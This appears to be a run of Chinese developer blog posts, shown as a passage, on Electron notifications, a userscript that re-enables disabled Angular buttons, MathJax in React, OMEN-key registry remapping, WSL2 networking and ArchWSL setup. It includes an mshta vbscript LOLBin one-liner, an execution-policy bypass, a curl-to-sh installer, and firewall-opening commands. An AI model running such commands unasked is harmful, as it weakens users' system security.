所以解决方案就是，把你的 Windows.winmd 文件放到这个文件夹下就行了，默认安装的 Windows 10 SDK 应该都在这个文件夹下的一个个子文件夹，直接把对应版本的 Windows.winmd 挪出来就行。

比如说我就把 C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.19041.0\Windows.winmd 这个文件往上移动了一级，也就是移动到了 .. 文件夹。现在再去安装，就已经可以了。

从此以后，遇到打包 Native 的场景，我再也不怕了！

2020/08/24 后记

electron-windows-notifications 确实 8 太行啊，简单的 toast 写上去倒是可以弹通知，加了 actions 之后就展示不出来通知了。

而且这个库也很久没更新了，依赖的 NodeRT 的版本都很久远了，所以现在使用 node-notifier，这个包在 Windows 下会使用一个编译好的程序：SnoreToast，通过调用这个 Native 程序来显示通知。

对于传统服务端渲染的页面可以直接在页面上执行脚本达到自己的目的，但是对于现在的数据流驱动的前端开发框架来说，原来的那种做法行不通了，需要找到一个方式参与到页面的渲染中。

so how to hack(actually: modify) an angular page?

先说好啊，我是写 React 的，有什么出错的地方请多指正。

获取 Angular 实例

Google 许久，发现了下面这个 gist, 可以直接拿到 Angular 的实例。

解释一下代码：因为 angular 会把自己注入到 window.angular，所以可以调用 angular.element 方法生成 Angular 对象。

按照 gist 里的提示执行代码片段。

能拿到 Angular 的实例就好办了，来调试分析网页的数据流。在 rootScope 上 watch 后，拿到对应的 scope 进行修改。

分析网页数据流

平常我们是无法点击这个用户行为按钮的，因为属性里的 disable 被设置为了 true，选中这个按钮的 DOM，在控制台输入 $scope（你需要按 gist 中的注释现在网页中执行代码片段）查看信息。

尝试修改 $scope.disabled = false，再点击该按钮，可以点击了。

但是我们切换到另一页再切换回来之后，又无法点击了，究其根本就是我们没影响到最内层的数据流。

监听页面变化，一直修改数据

下面的脚本是当时参考了 StackOverflow 上的一个 Angular watch 有关的问题，但是找不到链接了，所以未能注明来源，非常抱歉。

那如何在用户脚本里拿到 Angular 对象呢？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

var retryCount = -1,
  maxRetry = 5,
  timeout = 1000,
  timer;
(function initScript() {
  window.clearTimeout(timer);
  if (!window.angular) {
    retryCount++;
    if (retryCount < maxRetry) {
      timer = setTimeout(initScript, timeout);
    }
    return;
  }
  setTimeout(injectScript, 1000);
})();

阻塞等待 angular 加载成功即可。然后执行 injectScript 执行我们自己的脚本。

1
2
3
4
5
6
7
8
9

function injectScript() {
  var ngAppElem = angular.element(
    document.querySelector('[ng-app]') || document
  );
  $rootScope = ngAppElem.scope();
  $rootScope.$watch(function () {
    // do something.
  });
}

我们在 rootScope 上执行 watch，这样也不会因为切换页面而丢失 watch。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function injectScript() {
  var ngAppElem = angular.element(
    document.querySelector('[ng-app]') || document
  );
  $rootScope = ngAppElem.scope();
  $rootScope.$watch(function () {
    var elem = angular.element(
      document.querySelector(
        '#dashboardmainpart > div > div.EventBottomChartsContainer > div.EventDetailContainer > div > ul > li:nth-child(3)'
      )
    );
    var s1 = elem.isolateScope() || elem.scope();
    if (s1) {
      s1.disabled = false;
      return s1.disabled;
    }
    return s1;
  });
}

然后获取我们需要的地方的 scope，直接修改即可。每次页面修改后 watch 函数都会被执行。

完整 DEMO 可参考：

Mathjax@3 做了很大的一个更新，使用方式也和 2.x 版本不同。

React 动态加载 js

首先需要知道的一件事就是如何动态加载 js，用 js 将一个新的 script 节点挂载到 dom 上即可。

创建一个 dom 元素 script，设置 src 属性为要加载的链接，然后将节点添加到 body 元素内。

封装成函数如下，只需要传入需要加载的 js 链接，然后使用 .then 方法进行后续操作。

1
2
3
4
5
6
7
8
9
10
11
12
13

export const loadJS = (url: string) =>
  new Promise(function (resolve, reject) {
    const script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    document.body.appendChild(script);
    script.onload = function () {
      resolve(`success: ${url}`);
    };
    script.onerror = function () {
      reject(Error(`${url} load error!`));
    };
  });

在需要使用的地方：

1
2
3
4
5
6
7

loadJS(url)
  .then(() => {
    // do something
  })
  .catch(() => {
    // do something
  });

mathjax@2.x 版本

先给出参考的官方链接，本文讲的可能不太清楚。

• Loading and Configuring MathJaxhttps://docs.mathjax.org/en/v2.7-latest/configuration.html
• Loading MathJax Dynamicallyhttps://docs.mathjax.org/en/v2.7-latest/advanced/dynamic.html
• Modifying Math on the Pagehttps://docs.mathjax.org/en/v2.7-latest/advanced/typeset.html

加载了 mathjax 之后，我们只要在合适的时机让 mathjax 渲染 dom 即可。

举个例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

componentDidMount() {
  const mathjaxUrl = 'https://cdn.bootcss.com/mathjax/2.7.4/MathJax.js?config=TeX-AMS_CHTML';
  loadJS(mathjaxUrl).then(() => {
    this.showMathjax();
  });
}

componentDidUpdate () {
  if (!(window as any).MathJax) {
    (window as any).MathJax.Hub.Queue(['Typeset', (window as any).MathJax.Hub, ReactDOM.findDOMNode(this)]);
  }
}

showMathjax = () => {
  if ((window as any).MathJax) {
    (window as any).MathJax.Hub.Config({
      tex2jax: {
        inlineMath: [['$', '$']],
        displayMath: [['$$', '$$']],
        skipTags: ['script', 'noscript', 'style', 'textarea', 'code', 'a'],
      },
      CommonHTML: {
        scale: 120,
        linebreaks: { automatic: true },
      },
      'HTML-CSS': { linebreaks: { automatic: true } },
      SVG: { linebreaks: { automatic: true } },
      TeX: { noErrors: { disabled: true } },
    });
  } else {
    setTimeout(this.showMathjax, 1000);
  }
};

2.x 的版本，我们要使用 Mathjax.Hub.Config 来配置，这几个配置看起来也很好懂，tex2jax 中设置了在什么字符包裹的时候渲染数学公式。

设置了行内公式用 $...$ 包裹，多行公式用 $$...$$ 来包裹，对于什么什么标签内的则不渲染。
然后就是设置好几种模式下渲染的表现怎么样，上面我们加载的 js 时候后面有一个 query ?config=TeX-AMS_CHTML，说明我们加载的是 CHTML 的配置，各种配置显示效果不同。参见 https://docs.mathjax.org/en/v2.7-latest/config-files.html

Mathjax 加载好之后就会渲染页面，但是对于单页面应用来说， Mathjax 并不会在页面 DOM 更新的时候重新渲染，我们需要使用 MathJax.Hub.Queue(['Typeset', MathJax.Hub, ReactDOM.findDOMNode(this)]); 来让 Mathjax 手动渲染 DOM。添加在 componentDidUpdate 中即可。

mathjax@3 版本

同样给出官方文档链接：

• Configuring MathJaxhttp://docs.mathjax.org/en/v3.0-latest/options/index.html
• MathJax in Dynamic Contenthttp://docs.mathjax.org/en/v3.0-latest/advanced/typeset.html

3 的版本 Mathjax 的加载，配置方式都有不同。

Upgrading from v2 to v3: http://docs.mathjax.org/en/latest/upgrading/v2.html

加载时可以直接加载不同配置的 js，不需要再使用 ?config=xxx 了，比如说加载 https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js。

Mathjax.Hub 方法被移除，现在设置配置只需要给 window.Mathjax 赋值一个配置对象即可。

官方还提供一个一键转换配置的链接： MathJax Configuration Converter

还是给出我的配置：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

(window as any).MathJax = {
  tex: {
    inlineMath: [['$', '$']],
    displayMath: [['$$', '$$']],
  },
  options: {
    skipHtmlTags: ['script', 'noscript', 'style', 'textarea', 'code', 'a'],
  },
  chtml: {
    scale: 1.2,
  },
  startup: {
    ready: () => {
      (window as any).MathJax.startup.defaultReady();
      (window as any).MathJax.startup.promise.then(() => {
        console.log('MathJax initial typesetting complete');
      });
    },
  },
};

Mathjax 脚本加载好之后会读取 window.Mathjax 为配置并且替换为 Mathjax 对象，然后你就可以调用相关函数了。

Mathjax 初始化时会调用配置中的 startup.ready 方法，你可以在里面做一下提示或者其他配置。

还是那个问题，Mathjax 在 DOM 更新时不会重新渲染，需要使用 MathJax.typesetPromise() 方法。也在 componentDidUpdate 中设置即可。

1
2
3
4
5
6

componentDidUpdate() {
  const MathJax = (window as any).MathJax;
  if (MathJax) {
    MathJax.typesetPromise && MathJax.typesetPromise();
  }
}

这个方法是异步方法，还有一个相同功能的同步方法： MathJax.typeset()。

但是我对这个控制中心需求很小，所以我直接把软件卸载了 (●´ω ｀ ●)。

所以，怎么去利用这个键呢？

注意：该键是没有 keycode 的，也就是不被作为键盘的输入键。

如果你按这个键没有效果

参考惠普官方文档：https://support.hp.com/cn-zh/document/c01198500

对于我的暗影精灵 3，装一个惠普的 SystemEvent 即可：

• https://www.microsoft.com/store/productId/9P4W8RFN9M2T

20200607 更新

SystemEvent 更新了，反编译后发现按这个键目前会直接启动：AD2F1837.OMENCommandCenter 这个软件， 过段时间再看看怎么弄。

以下内容已经失效。

修改注册表

按下 OMEN 键时，系统会弹出来这个框，这说明系统想打开注册了这个链接的应用。

1

HKEY_CURRENT_USER\SOFTWARE\Classes\omencommandcenter

关于 windows 应用注册链接详见：https://blog.walterlv.com/post/windows-uri-scheme-association.html

解决方法就是修改注册表：

1

HKEY_CURRENT_USER\SOFTWARE\Classes\omencommandcenter\Shell\Open\Command

在 omencommandcenter 下依次添加 Shell、 Open、 Command，大小写不敏感，然后修改 Command 的 (Default) 值为想打开的应用程序。

这里的 Open 的意思就是你在资源管理器中双击一个类型的文件就打开某个软件那样。

比如说像我就设置成了 wt.exe，就是打开 Windows Terminal。

一些 Tips

windows 还提供了 执行 vbs 的工具：

1

mshta vbscript:clipboarddata.setdata(\"text\",\"%1\")(close)

参考： https://lolbas-project.github.io/lolbas/Binaries/Mshta/

或者你可以执行某个 Powershell 文件：

1

powershell.exe -ExecutionPolicy ByPass -File "xxx.ps1"

如果你还想再硬核一点，你可以通过注册表唤起自己写的一个脚本来执行你要做的事情。

沿着时间线说起

去年跟老师提了一下，想做一个 QQ 机器人，能够提醒出成绩，提醒课表什么的。今年拿这个申请了一个项目，虽然只有 600 块… 但也是钱~

使用了 nonebot 这个 QQ 机器人框架，写了一个 iswust_nonebot，直接放在了 github 上面，现在已经可以查课表了，其他功能暂时还没怎么写。

机器人和获取课表的后端分离，所以又写了一个 iswust_backend，一个想做成 restful api 的基于 flask 的教务处接口，还没开源。

然后由此也引出了其他几个 Python 项目，也都开源了：

• auth_swust，模拟验证学校单点登录的网站，自动识别验证码，失败重试，对相关网站都做了解析 js 之类的。

• course2ics，课表生成日历，生成为一个 ics 格式的文件，然后可以传到谷歌日历 / Outlook 上。

• time_convert，中文时间转成计算机的时间格式。这个不能说算是自己写的项目啦，只是原项目不维护了，为了自己的需要只能修修重新打包了。

还有就是 OJ 前端的日常维护吧，也缝缝补补敲敲打打了这么多行代码。

看的时候自己都吓到了，lines changed 35W 行。

其他的一些小事

给 Ant Design 提了一个 Card 组件的 PR，被接受了~

报名了 CCF - CSP，成绩出来惨不忍睹。

开始认真学习 Python。

其他的一些小项目

• 数据结构的课程作业，React 写的俄罗斯方块。代码，预览

• 数据可视化课的课程作业，餐饮数据可视化。代码及预览

今年在课堂上其实是写了非常多的代码的，除了上面这两个能预览的，还有 C/C++/算法分析/数据挖掘/搜索引擎/视觉检测/编译原理，都是今年一年学的。

今年最有成就感的事情是什么？

应该是上半年的学习成绩吧，班级第一年级第三哦~ 虽然说有补修的成绩算是个 bug 了，但是还是很开心很开心。

看的书

最有印象的一本就是 Python tricks，讲的很好，学到了很多东西。

看的剧

今年貌似看了很多剧，但是现在要我说我啥也想不起来了几个了，破冰行动，暖暖的小时光，杨紫演的那个电竞的剧。今年很喜欢的女明星是刑菲，敲可爱的。

去哪了

春节好像是在成都过的，暑假在学校过的。

总的来说

感觉自己学了很多东西，其实啥也没学好。

无特别说明，本文以下内容所提到的 WSL 皆指 WSL2。

这篇文章大概有以下内容：

1. WSL2 中连接到主机代理让 WSL2 里能连上 Windows 上的代理软件
2. 主机访问 WSL2这里主要是靠设置 hosts，让一个域名一直解析到 WSL2 的 ip 上。
3. 局域网访问 WSL2局域网内访问你的 Windows 主机，Windows 转发端口到 WSL2 上

还有几个前置知识：

1. Windows 和 WSL2 算是在同一个局域网内，这个局域网是由 Hyper-V 创建的。
2. WSL2 使用的网络适配器是 ‘Default Hyper-V Switch’，这个适配器每次重启都会被删除重建，这就是 WSL2 为什么 IP 不固定的原因。
3. WSL2 内有些微软特意做的东西：
   1. 向 WSL2 的 IP 发送的请求都会被转发到 Windows 的 IP 上，但是这个时灵时不灵。

WSL2 连接到主机代理

其实这个问题我在之前那篇配置 ArchWSL 的文章里简单提了一下，大概流程如下：

1. 获取 Windows 的 ip
2. Windows 上的代理软件允许局域网访问
3. 设置 WSL2 的代理

获取主机的 ip

由于 WSL2 是使用 Hyper-V 虚拟机实现的，也就不能跟 Windows 共享同一个 localhost 了，而且每次重启 ip 都会变。目前在 WSL 中可以用以下两个命令来获取主机的 ip:

1
2
3

ip route | grep default | awk '{print $3}'
# 或者
cat /etc/resolv.conf | grep nameserver | awk '{ print $2 }'

原理可见: User Experience Changes Between WSL 1 and WSL 2

设置代理

Windows 的 IP 都已经拿到了，比如说我的代理软件是监听在 7890 端口的，那我只要设置代理链接为 {windows_ip}:7890 即可。

如果无法连接的话，请你检查一下你 Windows 上的代理软件允许局域网访问了吗。

还是没法连接的话有可能是 Windows 防火墙的原因，我是把防火墙关了的。

感谢评论区 Xing Fang 以及 twinmegami 给的开放防火墙的命令。

命令来源：https://github.com/microsoft/WSL/issues/4585

1
2

# 直接放开 `vEthernet (WSL)` 这张网卡的防火墙
New-NetFirewallRule -DisplayName "WSL" -Direction Inbound -InterfaceAlias "vEthernet (WSL)" -Action Allow

还有这篇必读的文章：

• Ubuntu「一键」设置代理

作者详细的介绍了自己是怎么在 WSL 中使用代理的。

顺着作者的思路，我也实现了我自己的一个 「一键」设置代理 的脚本：

「一键」设置代理

使用网卡代理

当然，还有一个更方便的就是使用网卡代理，不用再设置什么 HTTP_PROXY 了，直接网卡级别的代理。

我使用的是 Clash 提供的 TUN 模式。

Clash 会创建一张网卡，接管系统的流量。

这样就不用设置任何东西了，开启网卡代理后，整个系统的流量都会走网卡。

你也可以使用下面这些：

• cfw 提供的 TAP 模式
• Netch
  Netch 是一款 Windows 平台的开源游戏加速工具，Netch 可以实现类似 SocksCap64 那样的进程代理，也可以实现 SSTap 那样的全局 TUN / TAP 代理，和 Shadowsocks-Windows 那样的本地 Socks5，HTTP 和系统代理

主机访问 WSL2

WSL2 的 IP 会变，所以怎么随时随地的都能访问到 WSL2 呢？看了很多 issue，解决方案各种各样。

这个问题困扰了我好久，因为在 WSL2 中开发，有时候就启动一些 web 应用，然后 localhost 又没法访问到… 官方说 Windows 版本更新到 18945 之后的，程序 listen 到 0.0.0.0 上之后，在 Windows 中就可以通过 localhost 访问了，而我在测试的时候发现很多时候还是不生效，也许需要看脸吧。

自动设置 hosts 关联到 WSL 的 IP

解决方案就是在 WSL 更新 IP 的时候，自动把 ip 加到 hosts 中，用自己喜欢的一个域名解析上去。

请看：

在 GitHub 上找到了这个 issue：[WSL 2] NIC Bridge mode 🖧 (Has Workaround🔨) #4150，根据回复有了思路。

思路就是使用任务计划程序执行 powershell 脚本，来做一些事。

我们需要写一个脚本（地址）实现我们想要的功能。

脚本的功能大概是：

1. 读取 WSL 和 Windows 的 IP
2. 将 IP 和想设定的域名写入 Windows 的 hosts 文件中。

这样你就能用自己定义的域名来访问两个系统了，wsl2 能访问 win.local 是因为它会向主机查询 dns（因为 wsl2 默认的 nameserver 指向了 windows 主机），主机会把 hosts 中的域名直接缓存起来然后直接作为一个 dns 记录。

关键来了，我们要使用任务计划程序在 WSL 要更新 IP 的时候执行这个脚本。

具体在 WSL 要更新 IP 时运行特定脚本步骤如下：

1. 将链接中的代码保存到本地文件中，文件名后缀设为 .ps1。
2. 打开事件查看器。在小娜的搜索框里搜一下就能打开了。
3. 点击 Windows 日志 -> 系统。
4. 找到 Hyper-V-VmSwith 事件，查看有没有内容类似 Port ... (Friendly Name: ...) successfully created on switch ... (Friendly Name: WSL).的事件。
5. 右键单击该事件，选择 将任务附加到该事件。
6. 操作 选择 启动程序，程序中填 powershell，参数填 -file 你的脚本地址的绝对地址 就好了。参数中加上 -WindowStyle Hidden 可以让 Powershell 执行该脚本时隐藏窗口。
7. 然后在任务计划程序左侧资源栏中找到：事件查看器任务 -> 你刚创建的任务，右键属性，然后勾选下面的复选框：使用最高权限运行。

看看效果：

在 WSL 中启动一个 http 服务器：

我们在 win 下请求一下：

Awesome! 成功啦

你也可以使用下面这个小工具来实现类似的功能：

这是一个用 Go 写的小工具，会创建一个 Windows 服务，Automatically update your Windows hosts file with the WSL2 VM IP address.

让 Windows 访问到 WSL 中监听本地的应用

来源: https://github.com/shayne/wsl2-hacks见 README 内的 Access localhost ports from Windows 一节

上面已经做到了 Windows 下根据固定域名访问 WSL 中监听 0.0.0.0 的应用程序，那么对于 WSL 中一些默认监听 127.0.0.1 的程序，咋办呢？

监听 127.0.0.1 的图解：

所以让请求 0.0.0.0 的请求都转发到请求 127.0.0.1 上。

现在：

WSL 中执行两条命令（花括号里面的两条）就能做到，增加 iptables 的路由规则：

1
2
3
4

expose_local(){
    sudo sysctl -w net.ipv4.conf.all.route_localnet=1 >/dev/null 2>&1
    sudo iptables -t nat -I PREROUTING -p tcp -j DNAT --to-destination 127.0.0.1
}

Windows 局域网内其他机器访问 WSL2

[WSL 2] NIC Bridge mode 🖧 (Has Workaround🔨) #4150上面提到过的这个 issue 里其实就是解决的局域网访问的问题，将需要用的端口通过 Windows 代理转发到 WSL 中。

原理也类似于上面的两幅图。

如果你用了主机访问 WSL2 里的那个脚本，就可以跳过这一节了，因为那个脚本包括了这一节的内容了。

关键代码如下：

不懂的请看注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 获取 Windows 和 WSL2 的 ip
$winip = bash.exe -c "ip route | grep default | awk '{print `$3}'"
$wslip = bash.exe -c "hostname -I | awk '{print `$1}'"
$found1 = $winip -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}';
$found2 = $wslip -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}';

if( !($found1 -and $found2) ){
  # 如果没找到 wsl 的 ip, 就退出执行
  echo "The Script Exited, the ip address of WSL 2 cannot be found";
  exit;
}

# 你需要映射到局域网中端口
$ports=@(80,443,10000,3000,5000,27701,8080);

# 监听的 ip，这么写是可以来自局域网
$addr='0.0.0.0';
# 监听的端口，就是谁来访问自己
$ports_a = $ports -join ",";

# 移除旧的防火墙规则
iex "Remove-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' " | Out-Null

# 允许防火墙规则通过这些端口
iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort $ports_a -Action Allow -Protocol TCP"  | Out-Null
iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort $ports_a -Action Allow -Protocol TCP"  | Out-Null

# 使用 portproxy 让 Windows 转发端口
# https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy
for( $i = 0; $i -lt $ports.length; $i++ ){
  $port = $ports[$i];
  iex "netsh interface portproxy delete v4tov4 listenport=$port listenaddress=$addr"  | Out-Null
  iex "netsh interface portproxy add v4tov4 listenport=$port listenaddress=$addr connectport=$port connectaddress=$wslip"  | Out-Null
}

代码里第 2、3 行的 `$ 的意思是让 Powershell 执行脚本时不转义 $。
如果你执行代码报错，可以试试在 `$ 前面加上一个 \：\`$。

Powershell 语法里 @() 就是数组的意思，这个脚本遍历你设置的想暴露到局域网的端口的数组，然后用 portproxy 反代 Windows 的端口到 WSL 中。

一键设置代理

先上效果：而且还可以为 git 以及 ssh 同时设置代理。

代码见:https://github.com/bytemain/dotfiles/blob/master/ubuntu_wsl/zshrc

重点见里面的 proxy, unpro, getIp, proxy_git, proxy_npm 等函数。

这样我们执行 proxy 的时候，就能一键连接到主机的代理上了。

有用的话别忘了给个 star，谢谢~

下载安装 Arch WSL

这里是作者的安装教程：https://github.com/yuk7/ArchWSL/wiki

我选择的是传统方式安装（不使用 AppX 方式）：

1. 在 Release 下载最新版的 Arch.zip
2. 解压到 C 盘根目录，(一定要在 C 盘，其他位置也可以)，但是你要有该目录的读写权限，所以不能放到 Program Files 等目录中。
3. 双击解压好的 Arch.exe 进行安装，这个 .exe 的名字 就是要创建的 WSL 实例的名字，改不同的名字就能创建多个 Arch WSL。

安装好之后，进行配置。

配置软件仓库

Arch Linux 软件仓库国内镜像

编辑 /etc/pacman.d/mirrorlist，里面有注释了的 China 的镜像，选一个你喜欢的取消注释就可以了。然后更新软件包缓存，执行： pacman -Syyu

其他跟镜像有关的可以看这里：

https://wiki.archlinux.org/index.php/Mirrors_(简体中文)

添加 ArchlinuxCN 源

Arch Linux 中文社区仓库 是由 Arch Linux 中文社区驱动的非官方用户仓库。包含中文用户常用软件、工具、字体 / 美化包等。

官方仓库地址：http://repo.archlinuxcn.org

这里我使用的是腾讯的镜像： http://mirrors.cloud.tencent.com/archlinuxcn/

使用方法：
在 /etc/pacman.conf 文件末尾添加以下两行：

1
2

[archlinuxcn]
Server = https://mirrors.cloud.tencent.com/archlinuxcn/$arch

之后安装 archlinuxcn-keyring 包导入 GPG key:

1
2
3

pacman-key --init
pacman-key --populate
pacman -Syy && pacman -S archlinuxcn-keyring

安装 AUR 助手 yay

Arch User Repository（常被称作 AUR），是一个为 Arch 用户而生的社区驱动软件仓库。Debian / Ubuntu 用户的对应类比是 PPA。

AUR 包含了不直接被 Arch Linux 官方所背书的软件。如果有人想在 Arch 上发布软件或者包，它可以通过这个社区仓库提供。这让最终用户们可以使用到比默认仓库里更多的软件。

所以你该如何使用 AUR 呢？简单来说，你需要另外的工具以从 AUR 中安装软件。Arch 的包管理器 pacman 不直接支持 AUR。那些支持 AUR 的 “特殊工具” 我们称之为 AUR 助手。

我们想从 AUR 仓库中安装东西时，就需要 AUR 助手，这里推荐 yay.

1

pacman -S yay

安装完 yay，git 也会被一起装好。

检查本地软件包的更新:

1

yay

换成国内 AUR 源:

1
2

# yay --save --aururl [url]
yay --save --aururl https://aur.tuna.tsinghua.edu.cn

yay 的配置文件路径：~/.config/yay/config.json

查看 yay 配置：

1

yay -P -g

查看 yay 帮助：

1

man yay

创建 Arch 普通用户

刚安装好的 Arch 是 root 用户，为了不至于权限太大误伤系统，可以先创建一个普通用户。

添加一个用户：

1
2

useradd -m artin
# -m 参数能帮助创建 /home/artin

设置用户密码：

1

passwd artin

在下一步之前，可以先把系统默认编辑器设置成 vim，个人觉得还是比 vi 和 nano 好用多了…

1

export EDITOR=vim;

你也可以设置成自己喜欢的编辑器。

让用户可以执行 sudo 命令，这一步不能省略。使用如下系统自带命令修改 sudoers 文件。

1

visudo

在里面添加这一行即可：

1

artin ALL=(ALL) ALL

这里我只把自己的用户名写进去了，你也可以设置一个用户组的权限，然后将你的用户加入到该用户组。

切换 WSL 默认用户

在 cmd 中打开你的安装目录：

执行：

1

Arch.exe config --default-user artin

玩转 Arch WSL

然后就是一些我自己喜欢的配置啦。

pacman 使用方法

ArchLinux 必备命令记录 (manjaro) - weixin_42408100 的博客 - CSDN 博客https://blog.csdn.net/weixin_42408100/article/details/82526087

| 常用命令 | 解释 || -------------------------- | ------------------------------------------------ | ---------------------- || pacman -Sy abc | 和源同步后安装名为 abc 的包 || pacman -S abc | 从本地数据库中得到 abc 的信息，下载安装 abc 包 || pacman -Sf abc | 强制安装包 abc || pacman -Ss abc | 搜索有关 abc 信息的包 || pacman -Si abc | 从数据库中搜索包 abc 的信息 || pacman -Syu | 同步源，并更新系统 || pacman -Sy | 仅同步源 || pacman -R abc | 删除 abc 包 || pacman -Rc abc | 删除 abc 包和依赖 abc 的包 || pacman -Rsn abc | 移除包所有不需要的依赖包并删除其配置文件 || pacman -Sc | 清理 /var/cache/pacman/pkg 目录下的旧包 || pacman -Scc | 清除所有下载的包和数据库 || pacman -Sd abc | 忽略依赖性问题，安装包 abc || pacman -Su --ignore foo | 升级时不升级包 foo || pacman -Sg abc | 查询 abc 这个包组包含的软件包 || pacman -Q | 列出系统中所有的包 || pacman -Q package | 在本地包数据库搜索 (查询) 指定软件包 || pacman -Qi package | 在本地包数据库搜索 (查询) 指定软件包并列出相关信息 || pacman -Q | wc -l | 统计当前系统中的包数量 || pacman -Qdt | 找出孤立包 || pacman -Rs $(pacman -Qtdq) | 删除孤立软件包（递归的, 小心用) || pacman -U abc.pkg.tar.gz | 安装下载的 abs 包，或新编译的本地 abc 包 || pacman-optimize && sync | 提高数据库访问速度 |

安装网络相关的工具

参考 http://www.linuxdiyf.com/view_218403.html安装 archlinux 以后没有 ifconfig, route, nslookup 等命令

• ifconfig、route 在 net-tools 中
• nslookup、dig 在 dnsutils 中
• ftp、telnet 等在 inetutils 中
• ip 命令在 iproute2 中

1

pacman -S net-tools dnsutils inetutils iproute2

配置基本环境

安装 fakeroot、binutils 等打包基本工具

1

pacman -S base-devel

我这里会提示 fakeroot 被 ignore 了，因为 /etc/pacman.conf 里写了~

不输入数字的话默认会安装 base-devel 里的所有包。

安装配置 zsh

安装 zsh 和 oh-my-zsh

zsh 又好看又好用又强大~

先将代理设置为我本地的代理链接，因为等下 oh-my-zsh 的脚本会从 github 下载东西，国内下的慢~

1
2

export ALL_PROXY="http://127.0.0.1:7890"
export all_proxy="http://127.0.0.1:7890"

先安装 zsh，再装 oh-my-zsh。

• Zsh (简体中文) - ArchWiki
• Oh My ZSH!
• Zsh Web Pages

在终端执行：

1
2

sudo pacman -S zsh
sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

配置 alias

之后要经常修改 zsh，先配置几个方便、快捷的 alias。

编辑 ~/.zshrc， zsh 的配置文件。

1

vim ~/.zshrc

在文件的最后几行加上：

1
2
3

alias vizsh="micro ~/.zshrc"
alias ohmyzsh="micro ~/.oh-my-zsh"
alias rezsh="source ~/.zshrc"

这里的 micro 是我在用的编辑器：

你可以改成你喜欢的， whatever.

保存后要在终端里激活一下 zsh 的配置文件：

1

source ~/.zshrc

即可~

配置 PATH 变量

WSL 中的环境变量会来自 Windows 系统，所以如果你两边都装了 npm 或者 python，可能会引起各种报错…

所以手动的精简一些环境变量，从上面这个图中拿下来一点就好啦。

编辑 ~/.zshrc：

1

vizsh

添加：

1
2
3
4
5
6

export PATH="$HOME/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export PATH="/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:$PATH"
# 添加 `c/WINDOWS/system32` 这些目录是为了支持在 `vscode` 的 `remote-wsl`。
export PATH="/mnt/c/WINDOWS/system32:/mnt/c/WINDOWS:/mnt/c/WINDOWS/System32/Wbem:/mnt/c/WINDOWS/System32/WindowsPowerShell/v1.0/:/mnt/c/WINDOWS/System32/OpenSSH/:$PATH"
# 为了使用 vscode 的 `code .`
export PATH="/mnt/c/Users/withw/AppData/Local/Programs/Microsoft VS Code/bin:$PATH"

这里的都是我需要的，你可以根据自己的需要来判断用什么。

zsh 的其他的一些配置

配置 oh-my-zsh 的自带几个插件：

• 自带插件列表：https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins
• 插件 Wiki：https://github.com/robbyrussell/oh-my-zsh/wiki/Plugins

找到下面这一行，填入即可。

1

plugins=(git npm node history)

配置 zsh「不匹配通配符」：这个蛮有用的，比如想用 find *.txt 的时候。

1

setopt no_nomatch

设置几个顺手的函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

proxy () {
    export ALL_PROXY="http://127.0.0.1:7890"
    export all_proxy="http://127.0.0.1:7890"
    http --follow -b https://api.ip.sb/geoip
}

unpro () {
    unset ALL_PROXY
    unset all_proxy
    http --follow -b https://api.ip.sb/geoip
}

# 参考自：
# 来源：Ubuntu「一键」设置代理 | Sukka's Blog
# 链接：https://blog.skk.moe/post/enable-proxy-on-ubuntu/

ip_ () {
    http --follow -b https://api.ip.sb/geoip
}

git-config() {
    echo -n "Please input Git Username: "
    read username
    echo -n "Please input Git Email: "
    read email
    echo -n "Done!"
    git config --global user.name "${username}"
    git config --global user.email "${email}"
}
# 参考自：
# 链接：https://github.com/SukkaW/dotfiles

上面的脚本中的 http 命令来自 httpie 。
安装：

1

pacman -S httpie

在 VSCode 中使用 WSL

待补充

更多优化配置

可参考知乎这篇：利用 WSL 打造 Arch 开发环境

大概就先写这么多吧~

输入输出

整数的 ASCII 码值转为数值

• 0-9 30H-39H
  可以减去 30H 或者 与上 1111 (15)
• A-F 41H-46H
  减去 37H (55)
• a-z 61H-66H
  减去 57H (75)

输入一位十六进制整数

1
2
3
4
5
6
7
8

IN_1_HEX:
MOV AH, 01H
INT 21H     ;输入的值存在AL里
CMP AL, '9' ;输入的值在内存中都是以ASCII码的值表示
JBE IN
SUB AL, 07H
IN:
SUB AL, 30H

输入两位十六进制整数

两位十六进制表示的值最多是 FF ，也就是 255，用八位就可以存下。

1
2
3
4
5
6
7

IN_2_HEX:
CALL IN_1_HEX ;高位十六进制->AL
MOV  AH, 10H
MUL  AH
MOV  AH, AL
CALL IN_1_HEX ;低位十六进制->AL
ADD  AL, AH

输入一位十进制整数

实际使用的时候记得要保护之前的数据，先 PUSH 再 POP

1
2
3
4

IN_1_DEC:
MOV AH, 01H ;AL
INT 21H
SUB AL, 30H

输入两位十进制整数

1
2
3
4
5
6
7

IN_2_DEC:
CALL IN_1_DEC
MOV  AH, 10  ; 十六进制这里为10H
MUL  AH
MOV  AH, AL
CALL IN_1_DEC
ADD  AL, AH

输出一位十六进制整数

1
2
3
4
5
6
7
8
9

DISP_1_HEX:
